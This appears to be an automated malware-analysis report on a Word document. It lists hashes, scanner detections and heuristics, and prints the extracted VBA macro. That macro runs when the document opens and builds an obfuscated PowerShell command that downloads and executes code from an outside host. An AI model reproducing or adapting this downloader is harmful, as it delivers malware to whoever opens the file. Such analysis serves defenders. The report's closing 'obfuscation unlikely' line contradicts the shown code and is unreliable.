Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 41186d953408b7df…

MALICIOUS

Office (OOXML)

29.4 KB Created: 2021-07-11 07:32:00 UTC Authoring application: Microsoft Office Word 15.0000
MD5: e98252b09d1eeee99ed087a3ea8668cd SHA-1: 53936f10f4ca6e9450f0ac72d5dc9ca4db414a87 SHA-256: 41186d953408b7df43226258359f517d5cb7b00c026804a2222bc481fd36113c
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with a Document_Open auto-execution function, which uses CreateObject to initiate malicious activity. The script attempts to download a payload from a heavily obfuscated URL, which is then likely executed. The ClamAV detection 'Doc.Downloader.Valyria-10029951-0' further supports the downloader functionality.

Heuristics 7

  • ClamAV: Doc.Downloader.Valyria-10029951-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Valyria-10029951-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: word/style.rel)
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
941a87abcb54ab6cabde32a6a627f98709ca974dde90f6699f5de03f0879330d		 vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 9282 bytes
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Open()
eifhhdfasfiedf
End Sub

Function eifhhdfasfiedf()
Set djfeihfidkasljf = CreateObject("Shell.Application")
Dim dfgdfjiejfjdshaj As String
fjdjkasf = "tlsiajdsladkf"
fjdjkasf = Left(fjdjkasf, 5)
dfgdfjiejfjdshaj = "tlsiaptlsiaotlsiawtlsiaetlsiartlsiastlsiahtlsiaetlsialtlsialtlsia.tlsiaetlsiaxtlsiaetlsia"
dfgdfjiejfjdshaj = Replace(dfgdfjiejfjdshaj, fjdjkasf, "")
hdfksallasjkdlaf = "tlsia[tlsiastlsiattlsiartlsiaitlsiantlsiagtlsia]tlsia$tlsiaatlsia=tlsia{tlsia(tlsiaNtlsiaetlsiawtlsia-tlsiaOtlsiabtlsiajtlsiaetlsiactlsiattlsia "
hdfksallasjkdlaf = Replace(hdfksallasjkdlaf, fjdjkasf, "")
ndkflajdkfjskdjfl = "tlsiaNtlsiaetlsiattlsia.tlsiaWtlsiaetlsiabtlsiaCtlsialtlsiaitlsiaetlsiantlsiattlsia)tlsia.tlsiaDotlsiantlsiagtlsia"
ndkflajdkfjskdjfl = Replace(ndkflajdkfjskdjfl, fjdjkasf, "")
salfnxkfdlsjafkj = "('htlsiattlsiattlsiaptlsia:tlsia/tlsia/tlsiattlsiabtlsiaetlsiaatlsiartlsia.tlsiamtlsiaytlsiaptlsiartlsiaetlsiastlsiastlsiaotlsiantlsialtlsiaitlsiantlsiaetlsia.tlsiactlsiaotlsiamtlsia/tlsiactlsiaitlsia/tlsiamotlsia.tlsiattlsiaxtlsiat')"
salfnxkfdlsjafkj = Replace(salfnxkfdlsjafkj, fjdjkasf, "")
sjdfkjaslalsfial = "tlsia}tlsia;tlsia$tlsiabtlsia=tlsia$tlsiaatlsia.tlsiaitlsiantlsiastlsiaetlsiartlsiattlsia(tlsia2tlsia9tlsia,tlsia'"
sjdfkjaslalsfial = Replace(sjdfkjaslalsfial, fjdjkasf, "")
aksfkjaskjfksnkf = "tlsiatlsiawtlsiantlsialtlsiaotlsiaatlsiadtlsiastlsiattlsiartlsiaitlsia'tlsia)tlsia;tlsia$tlsiactlsia=tlsiaitlsia"
aksfkjaskjfksnkf = Replace(aksfkjaskjfksnkf, fjdjkasf, "")
sdfewjdhsajkfhjdf = "etlsiaxtlsia tlsia$tlsiabtlsia;tlsiaitlsiaetlsiaxtlsia tlsia$tlsiactlsia"
sdfewjdhsajkfhjdf = Replace(sdfewjdhsajkfhjdf, fjdjkasf, "")
skdjfksjkfjkdsfj = hdfksallasjkdlaf + ndkflajdkfjskdjfl + salfnxkfdlsjafkj + sjdfkjaslalsfial + aksfkjaskjfksnkf + sdfewjdhsajkfhjdf

djfeihfidkasljf.ShellExecute dfgdfjiejfjdshaj, skdjfksjkfjkdsfj, "", "open", 0

End Function

Attribute VB_Name = "NewMacros"
Sub djfksdalfjkasj()
    Selection.TypeText Text:="a"
End Sub
Sub ejdksaljfkalkf()
    Selection.TypeText Text:="b"
End Sub
Sub eijdklsafkasdk()
    Selection.TypeText Text:="c"
End Sub
Sub uehfsahdkajkas()
    Selection.TypeText Text:="d"
End Sub
Sub eladjkfjaskaskj()
   Selection.TypeText Text:="e"
End Sub
Sub dsjkljfkasdjakf()
    Selection.TypeText Text:="f"
End Sub
Sub jsdkfjaskaskfas()
    Selection.TypeText Text:="i"
End Sub
Sub eijfkdsalkfjaksfj()
    Selection.TypeText Text:="j"
End Sub
Sub ewiasdkfjaskjf()
    Selection.TypeText Text:="k"
End Sub
Sub qijdkasjlfkjask()
    Selection.TypeText Text:="l"
End Sub
Sub qjiejwfksjalksa()
   Selection.TypeText Text:="m"
End Sub
Sub oqdsjakfjksajfa()
    Selection.TypeText Text:="n"
End Sub
Sub qojiewjfksajf()
    Selection.TypeText Text:="o"
End Sub
Sub idifdsakjflakds()
    Selection.TypeText Text:="p"
End Sub
Sub dsiafqdksajf()
    Selection.TypeText Text:="q"
End Sub
Sub qeuejsahfdas()
   Selection.TypeText Text:="r"
End Sub
Sub werjksjlakfja()
  Selection.TypeText Text:="t"
End Sub
Sub yuehjdhaksda()
   Selection.TypeText Text:="u"
End Sub
Sub qieuirajksdjfkaa()
  Selection.TypeText Text:="v"
End Sub
Sub yeujashdfjaakw()
  Selection.TypeText Text:="w"
End Sub
Sub qiwejkasjdfasfe()
  Selection.TypeText Text:="y"
End Sub
Sub tejhjsahkfhka()
  Selection.TypeText Text:="z"
End Sub
Sub vbsnjdfsdafdea()
   Selection.TypeText Text:="h"
End Sub
Sub bvnmsnsdsaef()
   Selection.TypeText Text:="x"
End Sub
Sub bndkslafkejalk()
   Selection.TypeText Text:="g"
End Sub
Sub mxnjdsjkajfkea()
   Selection.TypeText Text:="1"
End Sub
Sub qkdnasnjekusk()
   Selection.TypeText Text:="2"
End Sub
Sub vbjaskheuajks()
   Selection.TypeText Text:="3"
End Sub
Sub mnsjkasjkeaskjei()
   Se
... (truncated)
vbaProject_00.bin
99324459de62cbd679c000475370bef5ae5b56c0ec632edada50ccba3d8c3adc		 vba-project OOXML VBA project: word/style.rel 45568 bytes
Detection
ClamAV: Doc.Downloader.Valyria-10029951-0
Obfuscation or payload: unlikely

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